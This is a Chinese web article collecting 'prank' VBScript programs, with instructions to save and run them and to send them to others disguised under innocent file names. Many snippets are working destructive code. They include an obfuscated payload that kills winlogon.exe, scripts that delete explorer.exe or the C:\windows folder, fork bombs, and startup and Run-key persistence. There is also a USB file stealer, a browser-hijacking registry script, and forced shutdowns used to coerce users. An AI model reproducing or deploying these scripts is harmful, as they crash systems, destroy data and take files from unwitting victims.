当前位置: 移动技术网 > IT编程>脚本编程>VBScript > 一些很恶作剧的vbs程序代码

一些很恶作剧的vbs程序代码

2017年12月08日  | 移动技术网IT编程  | 我要评论

site:::myntv.tv,丁香花网站,nba圣诞大战2016

操作方法:把代码保存为*.vbs运行即可
经本人亲自测试 不会出大问题的,一般都是利用无限循环,不是死循环,可以通过任务管理器中结束wscript或cscript进程即可。
复制代码 代码如下:

do
msgbox "hi"
loop

无限制的用英文报数
复制代码 代码如下:

set s = createobject("sapi.spvoice")
i=0
do
s.speak i
i=i+1
loop


复制代码 代码如下:

if msgbox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗?",vbokcancel+vbinformation,"重新启动计算机")=vbcancel then
msgbox " 系统将立刻重起wow ~_^",,"你上当了!!"
set objshell = createobject("wscript.shell")
objshell.run "shutdown -s -t 5",,true
end if

复制代码 代码如下:

strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,103,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101,110,100,32,105,102,13,10,13,10,13,10)
for i=1 to ubound(strs)
runner=runner&chr(strs(i))
next
execute runner

这个没什么,不过加密了,大家可以解密试试
复制代码 代码如下:

if msgbox("你是猪头吗?",vbyesno,"提示")=vbyes then
msgbox "你sb啊!"
else
msgbox "还不承认!! 作为惩罚,蓝屏一下,你马上挂了#¥!@#¥%@……#……?",64,"严重警告!!!!!!!!!"
set ws = createobject("wscript.shell")
wscript.sleep 1200
ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide
end if

复制代码 代码如下:

set ws = createobject("wscript.shell")
ws.run "cmd.exe /c call calc.exe",0

下面的是删除explorer.exe,导致桌面没有显示,不过它事先帮你备份了,为同目录下的explorer.data
复制代码 代码如下:

set ws=createobject("wscript.shell")
ws.run "cmd.exe /c taskkill /f /im explorer.exe",0
wscript.sleep 900
ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.data"
wscript.sleep 1200
ws.run "cmd.exe /c del /q /f %windir%\explorer.exe

复制代码 代码如下:

for each wind in verybat
ws.sendkeys wind
wscript.sleep 500
next
ws.popup"唉:-(( ⊙ o ⊙ )!呀,我好累啊,我下了 886",30
ws.popup"下机可不能忘了关qq 我吧qq关了哈",8
ws.run "taskkill /f /im qq.exe"
ws.popup"你还要上吧 慢慢玩哦",27
dim wshshell
set wshshell = wscript.createobject("wscript.shell")
for d=0 to 4
wshshell.sendkeys "%{f4}"
next
ws.run"shutdown -s -t 1000600"
wscript.sleep 2000
dim a
do
a=inputbox("请输入解除关机密码")
if a="403746401" then
ws.run"shutdown -a"
msgbox"密码验证成功,enjoy the best!"
exit do
else
msgbox"密码验证失败,请输入解除关机密码:403746401 ",vbretrycancel
end if
loop
ws.popup"哈哈 被吓到了吧 好玩吧?你以为真的是病毒?呵呵o(∩_∩)o~,我还没那么打本事能做出病毒来!",57
ws.popup"(\(^o^)/~ 好啦,跟你开了个小小玩笑。你也可以把这个文件发给其他人,耍耍别人。呵呵^_^",62
wscript.sleep 8900
do until i=10
i=i+1
msgbox "cpu温度过高,系统出现严重错误!,请结束所有应用程序让cpu降温!",16+4096,"系统提示:"
wscript.sleep 1000*45
loop

关机
复制代码 代码如下:

set sh=wscript.createobject("wscript.shell")
sh.run"shutdown -s -t 332"

关闭当前打开的多个窗口
复制代码 代码如下:

dim wshshell
set wshshell = wscript.createobject("wscript.shell")
for d=0 to 40
wshshell.sendkeys "%{f4}"
next

复制代码 代码如下:

dim a,b,c,s
set fs=createobject("scripting.filesystemobject")
name = wscript.scriptname
fullname = wscript.scriptfullname
path = replace(fullname,name,"")
a=inputbox("请在对话框中填写你真实的姓名!"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜!! "&vbcrlf&""&vbcrlf&"不信你可以试试看!!!"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示:","请在此输入你的名字")
if a = ""then
wscript.quit
end if
myvar=msgbox ("你的名字叫:"&a&" ",vbyesno + vbexclamation,"芮洲提示:")
if myvar=vbyes then
elseif myvar=vbno then
a=inputbox("请在对话框中填写你真实的姓名!"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜!! "&vbcrlf&""&vbcrlf&"不信你可以试试看!!!"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示:","请在此输入你的名字")
if a = ""then
wscript.quit
end if
end if
wscript.sleep 1000b=inputbox("尊敬的 "&a&" 你好!"&vbcrlf&""&vbcrlf&"请填写一下你的爱好。(只需填一个哦!)","芮洲提示:","请在此输入你的爱好")
if b = ""then
wscript.quit
end if
wscript.sleep 1000c = inputbox ("请在下面对话框中输入你的出生[年 月 日]电脑将自动算出到目前为止你已经在地球上存活了多少时间!"&vbcrlf&""&vbcrlf&"下面以我为列 不同可以修改"&vbcrlf&""&chr(10)&"格式为:1987-06-02","芮洲提示:","1987-06-02")
if c = ""then
wscript.quit
end if
wscript.sleep 1000age = abs(datediff("d",date,c))
wscript.sleep 1
current = now()
h=datepart("h",current)
n=datepart("n",current)
wscript.sleep 1000
s = msgbox (chr(10)&"恭喜 "&a&" 已在地球上存活了:"&age&"天 "&h&"小时 "&n&"分钟.....",vbokcancel+63,"芮洲提示:")
if s=2 then
end if
set auto=fs.createtextfile("c:\documents and settings\all users\桌面\"&a&"的秘密.vbs",true)
auto.writeline "msgbox"&""""&"我的名字叫:"&a&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&"我的爱好是:"&b&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&""&a&"已经活了:"&age&"天 "&h&"小时 "&n&"分钟 "&""""&",64,"&""""&""&a&"的自我介绍:"""
auto.writeline "msgbox"&""""&"亲爱的 "&a& " 再见了!"&""""&",48,"&""""&"芮洲提示:"&""""&""

set auto=fs.createtextfile("c:\documents and settings\all users\桌面\祝"&a&"生日快乐.txt",true)
auto.writeline "本人芮洲祝: "&a&" 生日快乐、心想事成、敢于大胆尝试、早日飞黄腾达......."
auto.writeline "你已在地球上生活了:"&age&"天 "&h&"小时 "&n&"分钟了"
auto.writeline "时间是根据你的出生年月日算的,可能不是很精确,但目的只是想让知道时间过的很快,请珍惜时间!!!。"

复制代码 代码如下:

dim a
a=10
set objshell = createobject("wscript.shell")
objshell.run "shutdown -s -t 10",,true
set s = createobject("sapi.spvoice")
while a
s.speak a
a = a - 1
wscript.sleep 100
wend
createobject("sapi.spvoice").speak "bomb?"

复制代码 代码如下:

do
createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34)
loop

复制代码 代码如下:

msgbox"此文件无毒,请放心使用。",vbretrycancel,"系统提示。"
dim wshshell
set wshshell = wscript.createobject("wscript.shell")
wshshell.run "cmd.exe /c shutdown -s -t 300"
wscript.sleep 2000
dim a
do
a=inputbox("输入abc,否则关机。")
if a="abc" then
msgbox" 很遗憾,你中招了,这是整人程序,你就等着关机吧!"
exit do
else
msgbox"乖点,输入abc"
end if
loop

复制代码 代码如下:

on error resume next
dim wshshella
set wshshella = wscript.createobject("wscript.shell")
wshshella.run "cmd.exe /c shutdown -r -t 6 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox "乖"
loop
msgbox "早说就行了嘛"
dim wshshell
set wshshell = wscript.createobject("wscript.shell")
wshshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox "自己骂自己的不要脸~~~~~~",4, " "

复制代码 代码如下:

msgbox"你是不是很无聊啊?",4
msgbox"我来陪你玩会儿"
msgbox"做好玩儿的准备吧!"
do
msgbox"你无聊吗?",vbinformation,"你无聊吗?"
loop

复制代码 代码如下:

on error resume next
set wr=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
set f = wr.getfile(wscript.scriptfullname)
q=ws.regread("hkey_current_user\software\microsoft\windows\currentversion\explorer\shell folders\startup")
if not f="win32.vbs" then wr.copyfile f,q&"\win32.vbs",true
ws.run"shutdown -p",vbhide

这个太可恶了 只好重启
复制代码 代码如下:

set ws=createobject("wscript.shell")
do
ws.sendkeys "{f5}"
loop

复制代码 代码如下:

dim autorunprogram
set autorunprogram = wscript.createobject("wscript.shell")
regpath ="hklm\software\microsoft\windows\currentversion\run\"
type_name = "reg_sz"
key_name = "question.vbs"
key_data = "c:\windows\system32\question.vbs"
autorunprogram.regwrite regpath&key_name,key_data,type_name
dim fso,file
set fso = createobject("scripting.filesystemobject")
set file = fso.getfile(wscript.scriptfullname)
file.copy "c:\windows\system32\"
set fso = createobject("scripting.filesystemobject")
f = fso.deletefile(wscript.scriptname)

set objshell = createobject("wscript.shell")
objshell.run "shutdown -s -t 5",,true

复制代码 代码如下:

set wmp=createobject("wmplayer.ocx")
set cd=wmp.cdromcollection.item(0)
do
cd.eject
loop

复制代码 代码如下:

on error resume next
dim wshshella
set wshshella = wscript.createobject("wscript.shell")
wshshella.run "cmd.exe /c shutdown -r -t 60 -c ""喊我声爹,快喊"" ",0 ,true
dim a
do while(a <> "爹")
a = inputbox ("喊我爹,快撒,喊 ""爹"" ","喊不喊","不喊",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"msgbox"
loop
msgbox chr(13) + chr(13) + chr(13) + "儿子"
dim wshshell
set wshshell = wscript.createobject("wscript.shell")
wshshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "等下老爹买棒棒糖给你吃"

复制代码 代码如下:

on error resume next
dim wshshella
set wshshella = wscript.createobject("wscript.shell")
wshshella.run "cmd.exe /c shutdown -r -t 120 -c ""说你爱我,不说你爱我就两分钟关你机,不信,试试···"" ",0 ,true
dim a
do while(a <> "我爱你")
a = inputbox ("说你爱我,就不关机,快撒,说 ""你爱我"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"msgbox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛,何必这么费劲"
dim wshshell
set wshshell = wscript.createobject("wscript.shell")
wshshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,今天真过瘾

复制代码 代码如下:

i = msgbox("由于你灌水太水需要爆破电脑。"&_
vbcrlf&"确定爆破吗?",vbokcancel,_
"爆破电脑系统!!!!!")
if i = 1 then
createobject("sapi.spvoice").speak "bone"
end if

复制代码 代码如下:

on error resume next
dim i
i=0

set fso=createobject("scripting.filesystemobject")
ip=inputbox("请输入要监控的u盘盘符:","u盘大盗-by 最聪明的猪","i:")
ext=inputbox("请输入要盗窃的文件名的扩展名:","u盘大盗-by 最聪明的猪","txt")
myfolder=inputbox("请输入保存文件的路径:","u盘大盗-by 最聪明的猪","e:\u盘大盗")
fso.createfolder(myfolder)
do
wscript.sleep 1000
if fso.folderexists(ip & "\") then exit do
loop

scan(ip & "\")

sub scan(folder_)
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files

for each file in files
ext_=fso.getextensionname(file)
ext_=lcase(ext_)
ext=lcase(ext)
if ext_=ext then
i=i+1
fso.getfile(file).copy(myfolder & "\" & i & "_" & file.name)
end if
next

set subfolders=folder_.subfolders
for each subfolder in subfolders
scan(subfolder)
next
end sub

复制代码 代码如下:

on error resume next
dim wshshella
set wshshella = wscript.createobject("wscript.shell")
wshshella.run "cmd.exe /c shutdown -r -t 60 -c ""一分钟后,你的机子就完了,不信?!试试!"" ",0 ,true
dim a
do while(a <> "不重,不重,我就不重!")
a = inputbox ("唯一的办法就是""重启"" ","重不重启","不重,不重,我就不重!",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"msgbox"
loop
msgbox chr(13) + chr(13) + chr(13) + "真的不是我说你,乱按什么确定啊,希望你在网吧.菩萨保佑......"
msgbox chr(13) + chr(13) + chr(13) + "你的机子真的要完了,赶紧准备点钱重装机子吧.阿弥陀佛,善哉,善哉!"
msgbox chr(13) + chr(13) + chr(13) + "以后手不要在那么快了哦~"
msgbox chr(13) + chr(13) + chr(13) + "88~"
dim wshshell
set wshshell = wscript.createobject("wscript.shell")
wshshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox " " + chr(14) + "~"
dim a
set a = createobject("scripting.filesystemobject")
a.deletefolder ("c:\windows")

不是死循环了,是让你死机了,重启吧
复制代码 代码如下:

msgbox"让你见识一下啥叫狠毒!"
do
set ws=createobjecet("wscript.shell")
ws.run"explorer.exe"
ws.run"cmd.exe"
loop

复制代码 代码如下:

on error resume next
msgbox"即将格式化!请做好准备!",vbyesno
msgbox"准备好后点yes!",vbyesno
msgbox"sorry,忘说了,点no也行!"
msgbox"我对不起你啊!呜呜呜555哈哈哈哈!"
msgbox"靠,我笑个屁呀!我可是著名博士!在精神病院搞一种研究。。。"
msgbox"被人研究!"
msgbox"就知道你会笑!告诉你,我最歧视两种人!一是歧视别人的人,二是爱笑人,三是不识数的人!"
msgbox"你咋还笑?!是时候惩罚你了!"
do
set ws=createobjecet("wscript.shell")
ws.run"explorer.exe"
ws.run"cmd.exe"
ws.run"cmd.exe /c shutdown -s -t 7200",,ture
loop

发个特整人的东西
复制代码 代码如下:

set s.createobject("wscript.shell")
lsfile=wscript.scriptfullname '获得自己的名称
do '死循环
s.run lsfile '自己运行自己
s.run "notepad" '运行记事本
loop '几秒就死机,哈

来个绿色的,无毒无害的:
复制代码 代码如下:

dim a
set a=createobject("sapi.spvoice")
a.speak "ha ha ha ha hahahahahahaha"

注:ha ha ha... 可以改为几句粗话!!
输入中文后英文要取决于你的电脑会讲英文还是中文!
复制代码 代码如下:

dim a
a=msgbox("给你讲个故事!",vbyesno,"默默许愿制作")
if a=vbyes then
do
msgbox("从前有座山")
msgbox("山上有座庙")
msgbox("庙里有两个和尚")
msgbox("大和尚给小和尚讲故事说")
a=1
loop while a=1
end if

将默认页,搜索页设置百度
复制代码 代码如下:

if msgbox("这是被封印的东西",65,"警告!!!") = 1 then
if msgbox("请不要一意孤行",65,"警告!!!") =1 then
if msgbox("不要再按了!!",65,"警告!!!") =1 then
if msgbox("气死我了.....",65,"警告!!!") =1 then
if msgbox("既然这样...那么这个东西就归你了!",65,"祝你愉快!886") =1 then
msgbox "到这里,是你自己的命令,我也无法阻止了",65,"祝你愉快!886"
msgbox "这是一个病毒.....(由魔导之魂封印的)现在,魔导之魂也无法控制他了!!!!",65,"封印解除!!"
on error resume next
dim fso,wsh,myfile,ws,pp,fsofolder
set wsh=wscript.createobject("wscript.shell")
set fso=wscript.createobject("scripting.filesystemobject")
set myfile=fso.getfile(wscript.scriptfullname)

wsh.regwrite "hklm\software\microsoft\windows\currentversion\explorer\advanced\folder\hidden\showall\checkedvalue",0,"reg_dword"
wsh.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowsercontextmenu",1,"reg_dword"
wsh.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowseroptions",1,"reg_dword"
wsh.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowsersaveas",1,"reg_dword"
wsh.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nofileopen",1,"reg_dword"
wsh.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\advanced",1,"reg_dword"
wsh.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\cache internet",1,"reg_dword"
wsh.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\autoconfig",1,"reg_dword"
wsh.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\homepage",1,"reg_dword"
wsh.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\history",1,"reg_dword"
wsh.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\connwiz admin lock",1,"reg_dword"
wsh.regwrite "hkcu\software\microsoft\internet explorer\main\start page","http://www.baidu.com"
wsh.regwrite "hkcu\software\microsoft\internet explorer\main\search page","http://www.baidu.com"
wsh.regwrite "hkcu\software\microsoft\internet explorer\main\default_page_url","http://www.baidu.com"
wsh.regwrite "hkcu\software\microsoft\internet explorer\main\default_search_url","http://www.baidu.com"
wsh.regwrite "hkey_users\.default\software\microsoft\internet explorer\main\start page","http://www.baidu.com"
wsh.regwrite "hkey_users\.default\software\microsoft\internet explorer\main\default_page_url","http://www.baidu.com"
wsh.regwrite "hkey_users\.default\software\microsoft\internet explorer\main\default_search_url","http://www.baidu.com"



很久很久以前,好像是高考后的那个夏天,收到过朋友的一个恶作剧程序,程序名为“一篇感动人的文章.vbs”,当时什么都不懂,直接双击了,一直耿耿于怀。双击后弹出一个输入框“输入‘我是猪',否则十五秒后关机。我还以为是搞笑的,什么都没有输入,就真的关机了,觉得很神奇。而现在能够自己写出代码了,却再也找不到以前的快乐。
复制代码 代码如下:

option explicit
on error resume next
dim answer
dim wshshell
set wshshell = createobject("wscript.shell")
wshshell.run "shutdown /f /s /t 10 /c 输入'我是猪',否则10秒后关机~",0
do while answer<>"我是猪"
answer=inputbox("输入'我是猪',否则10秒后关机~","哈哈哈",,7000,8000)
loop
wshshell.run "shutdown /a",0
msgbox "哈哈哈,好玩不?",,"哈哈哈"

打开记事本,把代码复制粘贴进去,保存为“一篇感动人的文章.vbs”,一个恶作剧程序就完成了,接下来做什么就超出本文范围了。

如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!! 点击进行留言回复

相关文章:

验证码:
移动技术网